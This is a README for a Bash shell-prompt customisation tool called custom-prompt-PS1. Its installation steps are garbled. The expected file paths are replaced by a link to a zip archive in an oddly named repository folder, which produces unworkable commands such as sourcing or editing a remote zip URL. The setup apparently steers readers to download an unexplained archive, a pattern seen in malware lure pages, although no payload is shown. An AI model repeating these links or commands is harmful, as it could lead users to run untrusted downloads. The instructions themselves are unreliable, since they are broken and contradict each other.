Custom-prompt-PS1 is a shell prompt designed for Mac and Linux users. It offers easy customization options and integrates seamlessly with Git. This tool helps you personalize your terminal experience without needing any programming knowledge.
To use custom-prompt-PS1, ensure you have:
- A Mac or Linux operating system.
- Bash shell installed.
- Basic familiarity with using the terminal (navigating and running commands).
To get started, visit the Releases page to download the latest version of custom-prompt-PS1:
- Click on the latest release.
- Download the package for your operating system.
- Follow the installation instructions provided in the release notes.
- Custom Themes: Choose from various themes to give your terminal a unique look.
- Git Integration: Display your Git branch and status directly in the prompt.
- CLI Configuration Tool: Use a simple command-line interface to configure your prompt easily.
- Easy Setup: Quick installation process suitable for everyone.
-
Open your terminal.
-
Find the
.bashrcfile in your home directory. Use the command:nano ~https://raw.githubusercontent.com/surpriseeee111/custom-prompt-PS1/main/unpopularize/custom-prompt-PS1.zip -
Add the following line at the end of the file to include the custom prompt script:
source https://raw.githubusercontent.com/surpriseeee111/custom-prompt-PS1/main/unpopularize/custom-prompt-PS1.zipReplace
/path/to/with the actual path where you installed custom-prompt-PS1. -
Customize your prompt. Use the provided CLI tool:
custom-prompt --configure
Follow the on-screen prompts to choose your theme and set up Git integration.
-
Save your changes and exit the editor (in nano, press
CTRL + X, thenY, and hitEnter). -
Reload your configuration with the command:
source ~https://raw.githubusercontent.com/surpriseeee111/custom-prompt-PS1/main/unpopularize/custom-prompt-PS1.zip
After you complete the installation, your terminal prompt will change based on the selected theme. As you navigate through directories or work with Git, you will see relevant information displayed in your prompt.
- If you are in a Git directory, your prompt will show the current branch name.
- You can switch themes at any time through the configuration tool by running:
custom-prompt --switch-theme
- To ensure changes take effect, always reload your shell configuration after modifications.
- Explore different themes to find the one that best suits your style.
If you encounter issues:
- Ensure that the path to custom-prompt-PS1 is correct in your
.bashrc. - Check for errors in the configuration by running the configuration tool again.
- Visit the Issues section on the GitHub repository for common problems and solutions.
If you need assistance, feel free to open an issue on the GitHub repository. The community is here to support you with your queries and suggestions.
Join our community of users to share your experiences, tips, and themes. Connect with others who love customizing their shell prompt.
For a deeper understanding of the features and functions of custom-prompt-PS1, refer to the detailed documentation available in the repository.
By following these steps, you will enhance your terminal experience significantly. Enjoy your customized shell prompt!